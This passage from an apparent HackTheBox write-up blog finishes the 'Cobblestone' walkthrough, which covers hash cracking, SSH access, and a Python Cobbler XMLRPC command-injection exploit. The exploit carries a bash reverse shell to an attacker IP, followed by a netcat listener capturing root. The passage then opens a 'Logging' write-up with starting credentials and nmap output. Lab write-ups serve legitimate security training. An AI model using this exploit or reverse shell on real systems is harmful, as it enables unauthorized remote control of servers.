<span class="o">(</span>1,<span class="s1">'admin'</span>,<span class="s1">'admin'</span>,<span class="s1">'admin'</span>,<span class="s1">'admin@cobblestone.htb'</span>,<span class="s1">'admin'</span>,<span class="s1">'f4166d263f25a862fa1b77116693253c24d18a36f5ac597d8a01b10a25c560d1'</span>,<span class="s1">'*'</span><span class="o">)</span>,
<span class="o">(</span>2,<span class="s1">'cobble'</span>,<span class="s1">'cobble'</span>,<span class="s1">'stone'</span>,<span class="s1">'cobble@cobblestone.htb'</span>,<span class="s1">'admin'</span>,<span class="s1">'20cdc5073e9e7a7631e9d35b5e1282a4fe6a8049e8a84c82987473321b0a8f4d'</span>,<span class="s1">'*'</span><span class="o">)</span>,
<span class="o">(</span>3,<span class="s1">'w1ld'</span>,<span class="s1">'w1ld'</span>,<span class="s1">'w1ld'</span>,<span class="s1">'w1ld@w1ld.com'</span>,<span class="s1">'user'</span>,<span class="s1">'14a0e8053ac85d7b23c26ed4240263168105637282bce10f90e9b79141a4c6ee'</span>,<span class="s1">'10.10.14.158'</span><span class="o">)</span><span class="p">;</span>
&lt;/SNIP&gt;

</pre></td></tr></tbody></table></code></pre></div></div>

<p>We can find several users, most interestingly of all: <code class="language-plaintext highlighter-rouge">cobble</code> let’s try to crack these hashes.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre>hashcat <span class="nt">-m</span> 1400 hashes.txt /usr/share/wordlists/rockyou.txt
&lt;SNIP&gt;
20cdc5073e9e7a7631e9d35b5e1282a4fe6a8049e8a84c82987473321b0a8f4d:iluvdannymorethanyouknow
&lt;/SNIP&gt;

</pre></td></tr></tbody></table></code></pre></div></div>

<p>We’ve retrieved the credentials: <code class="language-plaintext highlighter-rouge">cobble</code>:<code class="language-plaintext highlighter-rouge">iluvdannymorethanyouknow</code></p>

<p>Let’s try <code class="language-plaintext highlighter-rouge">ssh</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
</pre></td><td class="rouge-code"><pre>ssh cobble@cobblestone.htb
The authenticity of host 'cobblestone.htb (10.129.147.235)' can't be established.
ED25519 key fingerprint is SHA256:c5Fpg/cgHQO2EmwqsW3VtYIVXXMz7nz8dwjibC8n0gw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'cobblestone.htb' (ED25519) to the list of known hosts.
cobble@cobblestone.htb's password: 
Linux cobblestone 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
cobble@cobblestone:~$ ls -la
total 32
drwx------ 3 cobble cobble 4096 Jul 24 14:41 .
drwxr-xr-x 3 root   root   4096 Jul 24 14:41 ..
-rwx------ 1 root   root      1 Oct  1  2024 .bash_history
-rwx------ 1 cobble cobble  220 Oct  1  2024 .bash_logout
-rwx------ 1 cobble cobble 3526 Oct  1  2024 .bashrc
-rwx------ 1 cobble cobble  807 Oct  1  2024 .profile
drwx------ 2 cobble cobble 4096 Jul 24 14:41 .ssh
-rw-r----- 2 root   cobble   33 Aug 12 01:08 user.txt

</pre></td></tr></tbody></table></code></pre></div></div>

<p>Just like that, we have User!</p>

<h1 id="root">Root</h1>

<h2 id="cobbler-xmlrpc">Cobbler XMLRPC</h2>

<p>Looking around we can find port <code class="language-plaintext highlighter-rouge">25151</code> is open just like the <code class="language-plaintext highlighter-rouge">apache2</code> conf file dictates.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre>cobble@cobblestone:~$ ss -tlnp
State                       Recv-Q                      Send-Q                                           Local Address:Port                                            Peer Address:Port                      Process
LISTEN                      0                           80                                                   127.0.0.1:3306                                                 0.0.0.0:*
LISTEN                      0                           5                                                    127.0.0.1:25151                                                0.0.0.0:*                                                      
LISTEN                      0                           511                                                    0.0.0.0:80                                                   0.0.0.0:*                                                      
LISTEN                      0                           128                                                    0.0.0.0:22                                                   0.0.0.0:*                                                      
LISTEN                      0                           128                                                       [::]:22                                                      [::]:*

</pre></td></tr></tbody></table></code></pre></div></div>

<p>Let’s forward port <code class="language-plaintext highlighter-rouge">25151</code> which we found earlier. Taking a look at this port we find that a GET method is not supported. 
<img src="/assets/img/img_2026-09-09-cobblestone/0011.jpeg" alt="" /></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre>PORT      STATE SERVICE VERSION
25151/tcp open  http    BaseHTTPServer 0.6 (Python 3.11.2)
|_http-title: Error response
|_http-server-header: BaseHTTP/0.6 Python/3.11.2
|_xmlrpc-methods: XMLRPC instance doesn't support introspection.

</pre></td></tr></tbody></table></code></pre></div></div>

<p>This looks like the <code class="language-plaintext highlighter-rouge">xmlrpc</code> interface of <code class="language-plaintext highlighter-rouge">cobbler api</code>, we can take a look at the <a href="https://github.com/cobbler/cobbler">Cobbler Github</a> and find a <a href="https://github.com/cobbler/cobbler/security/advisories/GHSA-m26c-fcgh-cp6h">Security Advisory</a> about connecting to the <code class="language-plaintext highlighter-rouge">xmlrpc</code> and making changes as well as another <a href="https://github.com/cobbler/cobbler/issues/1329">Issue</a> mentioning <code class="language-plaintext highlighter-rouge">Remote Command Execution</code>.</p>

<p>We can find the following line in <code class="language-plaintext highlighter-rouge">/etc/cobbler/settings.yaml</code> using our <code class="language-plaintext highlighter-rouge">SSTI</code> from before.</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre><span class="s1">'</span><span class="s">default_password_crypted'</span><span class="err">:</span> <span class="s1">'</span><span class="s">$1$mF86/UHC$WvcIcX2t6crBz2onWxyac.'</span>

</pre></td></tr></tbody></table></code></pre></div></div>

<p>Cracking this with <code class="language-plaintext highlighter-rouge">hashcat</code> we get: <code class="language-plaintext highlighter-rouge">cobbler</code>, which is the default as per the <code class="language-plaintext highlighter-rouge">settings.yaml</code> file.</p>

<p>Taking a look at the <a href="https://github.com/cobbler/cobbler/wiki/XMLRPC-API#logging-in">documentation</a> we can find out how to:</p>

<ul>
  <li>Login</li>
  <li>Make Changes</li>
</ul>

<p>We can find the relevant <code class="language-plaintext highlighter-rouge">api endpoints</code>, such as the <a href="https://github.com/cobbler/cobbler/wiki/XMLRPC-API#logging-in">background_aclsetup</a> as mentioned in the <a href="https://github.com/cobbler/cobbler/issues/1329">Issue</a> we talked about earlier.</p>

<p>Using all of this information, we can write the following <code class="language-plaintext highlighter-rouge">PoC</code> 
<em>Thanks to Y41nz for this <code class="language-plaintext highlighter-rouge">PoC</code></em></p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="nn">xmlrpc.client</span>

<span class="c1"># Configuration                                                                                                                  
</span><span class="n">url</span> <span class="o">=</span> <span class="s">"http://127.0.0.1:25151"</span>  <span class="c1"># Update to target IP
</span><span class="n">server</span> <span class="o">=</span> <span class="n">xmlrpc</span><span class="p">.</span><span class="n">client</span><span class="p">.</span><span class="n">ServerProxy</span><span class="p">(</span><span class="n">url</span><span class="p">)</span> 
<span class="c1"># 1. Authenticate properly
</span><span class="k">try</span><span class="p">:</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"[+] Authenticating..."</span><span class="p">)</span>
    <span class="n">token</span> <span class="o">=</span> <span class="n">server</span><span class="p">.</span><span class="n">login</span><span class="p">(</span><span class="s">"cobbler"</span><span class="p">,</span> <span class="s">"cobbler"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[+] Token: </span><span class="si">{</span><span class="n">token</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
<span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[-] Login failed: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
    <span class="nb">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>

<span class="c1"># 2. Working reverse shell payload
</span><span class="n">payload</span> <span class="o">=</span> <span class="s">"""dummyuser; exec /bin/bash -c 'bash -i &gt;&amp; /dev/tcp/10.10.14.158/9001 0&gt;&amp;1' #"""</span>
<span class="n">options</span> <span class="o">=</span> <span class="p">{</span>
    <span class="s">"adduser"</span><span class="p">:</span> <span class="n">payload</span><span class="p">,</span>
    <span class="s">"name"</span><span class="p">:</span> <span class="s">"exploit-shell"</span><span class="p">,</span>
    <span class="s">"comment"</span><span class="p">:</span> <span class="s">"ACL setup test"</span>
<span class="p">}</span>

<span class="c1"># 3. Execute the exploit
</span><span class="k">try</span><span class="p">:</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"[+] Triggering reverse shell..."</span><span class="p">)</span>
    <span class="c1"># Note: Some Cobbler versions expect token first, others expect options first
</span>    <span class="k">try</span><span class="p">:</span>
        <span class="n">result</span> <span class="o">=</span> <span class="n">server</span><span class="p">.</span><span class="n">background_aclsetup</span><span class="p">(</span><span class="n">token</span><span class="p">,</span> <span class="n">options</span><span class="p">)</span>
    <span class="k">except</span><span class="p">:</span>
        <span class="n">result</span> <span class="o">=</span> <span class="n">server</span><span class="p">.</span><span class="n">background_aclsetup</span><span class="p">(</span><span class="n">options</span><span class="p">,</span> <span class="n">token</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[+] API Response: </span><span class="si">{</span><span class="n">result</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"[+] Check your listener for shell"</span><span class="p">)</span>
<span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[-] Exploit failed: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

</pre></td></tr></tbody></table></code></pre></div></div>

<p>Let’s start a listener and execute this <code class="language-plaintext highlighter-rouge">PoC</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
</pre></td><td class="rouge-code"><pre>python3 root.py 
[+] Authenticating...
[+] Token: /wCL0KwwvdJoaelGYKvgOmNR64Yj6CnWzQ==
[+] Triggering reverse shell...
[+] API Response: 2025-08-12_050301_(CLI) ACL Configuration_373cd89dcc354f15a8b97634175fc6e4
[+] Check your listener for shell

</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Listener</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
</pre></td><td class="rouge-code"><pre>nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.158] from (UNKNOWN) [10.129.148.174] 53154
bash: cannot set terminal process group (72703): Inappropriate ioctl for device
bash: no job control in this shell
root@cobblestone:/#

</pre></td></tr></tbody></table></code></pre></div></div>

<p>Just like that, we have Root!</p>]]></content><author><name>0xW1LD</name></author><category term="[&quot;HTB&quot;]" /><category term="os/linux" /><category term="diff/insane" /><summary type="html"><![CDATA[Cobblestone is running a minecraft website vulnerable to xss allowing us to extract admin pages and soon after the admin cookie. Using the admin cookie to login we're able to exploit an SSTI RCE to get a shell as www-data. We're can then locate credentials for the database and from there dump and crack the credentials for the cobbler user. We then find that root is running a Cobbler XMLRPC server that's vulnerable to an authenticated command injection RCE.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://0xw1ld.github.io/assets/img/img_2026-09-09-cobblestone/0001.jpeg" /><media:content medium="image" url="https://0xw1ld.github.io/assets/img/img_2026-09-09-cobblestone/0001.jpeg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Logging</title><link href="https://0xw1ld.github.io/htb/2026/07/18/logging.html" rel="alternate" type="text/html" title="Logging" /><published>2026-07-18T00:00:00+00:00</published><updated>2026-07-18T00:00:00+00:00</updated><id>https://0xw1ld.github.io/htb/2026/07/18/logging</id><content type="html" xml:base="https://0xw1ld.github.io/htb/2026/07/18/logging.html"><![CDATA[<p><img src="/assets/img/img_logging/logging-1776345817251.png" alt="Logging HackTheBox machine" /></p>

<blockquote class="info">
  <p>As is common in real life pentests, you will start the Logging box with credentials for the following account wallace.everette / Welcome2026@</p>
</blockquote>
<h1 id="enumeration">Enumeration</h1>
<h2 id="scans">Scans</h2>
<p>As usual we start off with an <code class="language-plaintext highlighter-rouge">nmap</code> port scan</p>
<div filename="nmap.txt" class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
</pre></td><td class="rouge-code"><pre>PORT      STATE  SERVICE       REASON          VERSION
53/tcp    open   domain        syn-ack ttl 127 Simple DNS Plus
80/tcp    open   http          syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open   kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-04-19 10:12:37Z)
135/tcp   open   msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open   netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open   ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Issuer: commonName=logging-DC01-CA/domainComponent=logging
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-04-17T03:20:01
| Not valid after:  2106-04-17T03:20:01
| MD5:     8572 96de c6fa 1e08 d694 2448 68cf d20b
| SHA-1:   8747 4415 e328 0940 a741 bace 327f a157 98d8 76e7
| SHA-256: f7c9 1a1d afd7 0b23 d3eb 802c bad8 aabf 6ad8 0a7b 1b56 3b26 3aea c6ed 4d1b 8b93
| -----BEGIN CERTIFICATE-----
| MIIG+DCCBOCgAwIBAgITFAAAAAbxfU7yg+mj1AABAAAABjANBgkqhkiG9w0BAQsF
| ADBIMRMwEQYKCZImiZPyLGQBGRYDaHRiMRcwFQYKCZImiZPyLGQBGRYHbG9nZ2lu
| ZzEYMBYGA1UEAxMPbG9nZ2luZy1EQzAxLUNBMCAXDTI2MDQxNzAzMjAwMVoYDzIx
| MDYwNDE3MDMyMDAxWjAAMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
| s8+q+Qxi7vqUbuJP+8Kk7GA6jYOHCloGjRKpRuwAHWUgwPQGydcTfPKMf5qk3dlf
| AIeWOHZELA54pfHeb9WphmoWB5CfN5hZmuoyg7HGKbMLj1C9SAhphOQNk3t0h5Gw
| DqZTzwsdD0zZ4IPmwLmgdI3p9cQRT/nQff9lb2DHLGpRQUqxySWNkfTSyTgrvKnW
| eG9zRrra9ieb1qGhdlb+FDDtWkk5O+XUjpB+Bg+Mo7sZ+zvz1POQrGwvXBqzo/aH
| 7G736fCIyy3q4S9pOHesDg8F0ndhXByOjlLIfLxif3e6gUPvQshbfl8G7mZLzmOi
| +HNwEkSrN7BjLrCY/UAY1QIDAQABo4IDHzCCAxswOAYJKwYBBAGCNxUHBCswKQYh
| KwYBBAGCNxUIhfKBf4WHj1+G3YcYgteNDoPY5miBGgEhAgFuAgEAMDIGA1UdJQQr
| MCkGCCsGAQUFBwMCBggrBgEFBQcDAQYKKwYBBAGCNxQCAgYHKwYBBQIDBTAOBgNV
| HQ8BAf8EBAMCBaAwQAYJKwYBBAGCNxUKBDMwMTAKBggrBgEFBQcDAjAKBggrBgEF
| BQcDATAMBgorBgEEAYI3FAICMAkGBysGAQUCAwUwHQYDVR0OBBYEFNyGmX8pxGUw
| Zqgr+Usro3JEmaU9MB8GA1UdIwQYMBaAFPCtlhRt/O3VvFm24rsz+cY5bgOVMIHN
| BgNVHR8EgcUwgcIwgb+ggbyggbmGgbZsZGFwOi8vL0NOPWxvZ2dpbmctREMwMS1D
| QSgxKSxDTj1EQzAxLENOPUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxD
| Tj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWxvZ2dpbmcsREM9aHRiP2Nl
| cnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1jUkxEaXN0
| cmlidXRpb25Qb2ludDCBwQYIKwYBBQUHAQEEgbQwgbEwga4GCCsGAQUFBzAChoGh
| bGRhcDovLy9DTj1sb2dnaW5nLURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtl
| eSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9bG9n
| Z2luZyxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRp
| ZmljYXRpb25BdXRob3JpdHkwNAYDVR0RAQH/BCowKIIQREMwMS5sb2dnaW5nLmh0
| YoILbG9nZ2luZy5odGKCB2xvZ2dpbmcwTwYJKwYBBAGCNxkCBEIwQKA+BgorBgEE
| AYI3GQIBoDAELlMtMS01LTIxLTQwMjA4MjM4MTUtMjc5NjUyOTQ4OS0xNjgyMTcw
| NTUyLTEwMDAwDQYJKoZIhvcNAQELBQADggIBAHPP5F+HZKxz1O5/3bSdU3Hw8Uze
| ccX4W/fU1jU4PIpHaFE6mwCa3nbKuo4CHQjKRW4+Kn3kMbZvzOVNJ15gLDywGQ6R
| yL79AobPIlhE5bcIlfUcjj366fLnUiBy+i9BnlduKrnq7D7GCYXUlWn9WWvRFIkZ
| mCXSERigasPxE4MTbX7EdTi69CNtQD+OoqyMYSzi8XcgTjFcahqRHD0nYKU4oXSC
| c4njFNpRbCKSNC2I969+fJ8c15T4pJeIEJks7W7tHoub2EgDSwLY3a9vdpjn4tNB
| WFDTKvUswQ7pH1oTs7KC3viPDUYgHEisC5+ZFq2K3ZIur1TVGtepu048Ni7IcOyM
| wu81EbY2O7phQ0pA0lcSydx95yAMb60iZOe+WCBt8TdJHlKKhfBHyGzTku/fGJoF
| P0ASpCuV+izqJ0cOLhAJ2d4EQ5C6ILrYBzWUWwTIaJWh7yWbmGvOMZsuX+3HmKPp
| S2HmirJTu/QMBPa4y4NFa1EVwCFxtbEMxPjszf727/62g44GXvfRx4xioSosZr57
| 6mY+TIKQ4/URZy5GERi2CnsaHPqM2pyo8EtG0jCyErhe8VMZ3F2Oc4hp9CQH5urn
| jwFsp3hvJtrzQHCHnHVWQ0ouGIi5n8v6nEWTbyqoMYnQxjgqB2QTS8Nc1cBs38qH
| xmZv2ZLKHnzHY9YT
|_-----END CERTIFICATE-----
|_ssl-date: 2026-04-19T10:14:13+00:00; +6h59m48s from scanner time.
445/tcp   open   microsoft-ds? syn-ack ttl 127
464/tcp   open   kpasswd5?     syn-ack ttl 127
593/tcp   open   ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open   ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Issuer: commonName=logging-DC01-CA/domainComponent=logging
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-04-17T03:20:01
| Not valid after:  2106-04-17T03:20:01
| MD5:     8572 96de c6fa 1e08 d694 2448 68cf d20b
| SHA-1:   8747 4415 e328 0940 a741 bace 327f a157 98d8 76e7
| SHA-256: f7c9 1a1d afd7 0b23 d3eb 802c bad8 aabf 6ad8 0a7b 1b56 3b26 3aea c6ed 4d1b 8b93
| -----BEGIN CERTIFICATE-----
| MIIG+DCCBOCgAwIBAgITFAAAAAbxfU7yg+mj1AABAAAABjANBgkqhkiG9w0BAQsF
| ADBIMRMwEQYKCZImiZPyLGQBGRYDaHRiMRcwFQYKCZImiZPyLGQBGRYHbG9nZ2lu
| ZzEYMBYGA1UEAxMPbG9nZ2luZy1EQzAxLUNBMCAXDTI2MDQxNzAzMjAwMVoYDzIx
| MDYwNDE3MDMyMDAxWjAAMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
| s8+q+Qxi7vqUbuJP+8Kk7GA6jYOHCloGjRKpRuwAHWUgwPQGydcTfPKMf5qk3dlf
| AIeWOHZELA54pfHeb9WphmoWB5CfN5hZmuoyg7HGKbMLj1C9SAhphOQNk3t0h5Gw
| DqZTzwsdD0zZ4IPmwLmgdI3p9cQRT/nQff9lb2DHLGpRQUqxySWNkfTSyTgrvKnW
| eG9zRrra9ieb1qGhdlb+FDDtWkk5O+XUjpB+Bg+Mo7sZ+zvz1POQrGwvXBqzo/aH
| 7G736fCIyy3q4S9pOHesDg8F0ndhXByOjlLIfLxif3e6gUPvQshbfl8G7mZLzmOi
| +HNwEkSrN7BjLrCY/UAY1QIDAQABo4IDHzCCAxswOAYJKwYBBAGCNxUHBCswKQYh
| KwYBBAGCNxUIhfKBf4WHj1+G3YcYgteNDoPY5miBGgEhAgFuAgEAMDIGA1UdJQQr
| MCkGCCsGAQUFBwMCBggrBgEFBQcDAQYKKwYBBAGCNxQCAgYHKwYBBQIDBTAOBgNV
| HQ8BAf8EBAMCBaAwQAYJKwYBBAGCNxUKBDMwMTAKBggrBgEFBQcDAjAKBggrBgEF
| BQcDATAMBgorBgEEAYI3FAICMAkGBysGAQUCAwUwHQYDVR0OBBYEFNyGmX8pxGUw
| Zqgr+Usro3JEmaU9MB8GA1UdIwQYMBaAFPCtlhRt/O3VvFm24rsz+cY5bgOVMIHN
| BgNVHR8EgcUwgcIwgb+ggbyggbmGgbZsZGFwOi8vL0NOPWxvZ2dpbmctREMwMS1D
| QSgxKSxDTj1EQzAxLENOPUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxD
| Tj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWxvZ2dpbmcsREM9aHRiP2Nl
| cnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1jUkxEaXN0
| cmlidXRpb25Qb2ludDCBwQYIKwYBBQUHAQEEgbQwgbEwga4GCCsGAQUFBzAChoGh
| bGRhcDovLy9DTj1sb2dnaW5nLURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtl
| eSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9bG9n
| Z2luZyxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRp
| ZmljYXRpb25BdXRob3JpdHkwNAYDVR0RAQH/BCowKIIQREMwMS5sb2dnaW5nLmh0
| YoILbG9nZ2luZy5odGKCB2xvZ2dpbmcwTwYJKwYBBAGCNxkCBEIwQKA+BgorBgEE
| AYI3GQIBoDAELlMtMS01LTIxLTQwMjA4MjM4MTUtMjc5NjUyOTQ4OS0xNjgyMTcw
| NTUyLTEwMDAwDQYJKoZIhvcNAQELBQADggIBAHPP5F+HZKxz1O5/3bSdU3Hw8Uze
| ccX4W/fU1jU4PIpHaFE6mwCa3nbKuo4CHQjKRW4+Kn3kMbZvzOVNJ15gLDywGQ6R
| yL79AobPIlhE5bcIlfUcjj366fLnUiBy+i9BnlduKrnq7D7GCYXUlWn9WWvRFIkZ
| mCXSERigasPxE4MTbX7EdTi69CNtQD+OoqyMYSzi8XcgTjFcahqRHD0nYKU4oXSC
| c4njFNpRbCKSNC2I969+fJ8c15T4pJeIEJks7W7tHoub2EgDSwLY3a9vdpjn4tNB
| WFDTKvUswQ7pH1oTs7KC3viPDUYgHEisC5+ZFq2K3ZIur1TVGtepu048Ni7IcOyM
| wu81EbY2O7phQ0pA0lcSydx95yAMb60iZOe+WCBt8TdJHlKKhfBHyGzTku/fGJoF
| P0ASpCuV+izqJ0cOLhAJ2d4EQ5C6ILrYBzWUWwTIaJWh7yWbmGvOMZsuX+3HmKPp
| S2HmirJTu/QMBPa4y4NFa1EVwCFxtbEMxPjszf727/62g44GXvfRx4xioSosZr57
| 6mY+TIKQ4/URZy5GERi2CnsaHPqM2pyo8EtG0jCyErhe8VMZ3F2Oc4hp9CQH5urn
| jwFsp3hvJtrzQHCHnHVWQ0ouGIi5n8v6nEWTbyqoMYnQxjgqB2QTS8Nc1cBs38qH
| xmZv2ZLKHnzHY9YT
|_-----END CERTIFICATE-----
|_ssl-date: 2026-04-19T10:14:14+00:00; +6h59m48s from scanner time.
3268/tcp  open   ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-04-19T10:14:13+00:00; +6h59m48s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Issuer: commonName=logging-DC01-CA/domainComponent=logging
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-04-17T03:20:01
| Not valid after:  2106-04-17T03:20:01
| MD5:     8572 96de c6fa 1e08 d694 2448 68cf d20b
| SHA-1:   8747 4415 e328 0940 a741 bace 327f a157 98d8 76e7
| SHA-256: f7c9 1a1d afd7 0b23 d3eb 802c bad8 aabf 6ad8 0a7b 1b56 3b26 3aea c6ed 4d1b 8b93
| -----BEGIN CERTIFICATE-----
| MIIG+DCCBOCgAwIBAgITFAAAAAbxfU7yg+mj1AABAAAABjANBgkqhkiG9w0BAQsF
| ADBIMRMwEQYKCZImiZPyLGQBGRYDaHRiMRcwFQYKCZImiZPyLGQBGRYHbG9nZ2lu
| ZzEYMBYGA1UEAxMPbG9nZ2luZy1EQzAxLUNBMCAXDTI2MDQxNzAzMjAwMVoYDzIx
| MDYwNDE3MDMyMDAxWjAAMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
| s8+q+Qxi7vqUbuJP+8Kk7GA6jYOHCloGjRKpRuwAHWUgwPQGydcTfPKMf5qk3dlf
| AIeWOHZELA54pfHeb9WphmoWB5CfN5hZmuoyg7HGKbMLj1C9SAhphOQNk3t0h5Gw
| DqZTzwsdD0zZ4IPmwLmgdI3p9cQRT/nQff9lb2DHLGpRQUqxySWNkfTSyTgrvKnW
| eG9zRrra9ieb1qGhdlb+FDDtWkk5O+XUjpB+Bg+Mo7sZ+zvz1POQrGwvXBqzo/aH
| 7G736fCIyy3q4S9pOHesDg8F0ndhXByOjlLIfLxif3e6gUPvQshbfl8G7mZLzmOi
| +HNwEkSrN7BjLrCY/UAY1QIDAQABo4IDHzCCAxswOAYJKwYBBAGCNxUHBCswKQYh
| KwYBBAGCNxUIhfKBf4WHj1+G3YcYgteNDoPY5miBGgEhAgFuAgEAMDIGA1UdJQQr
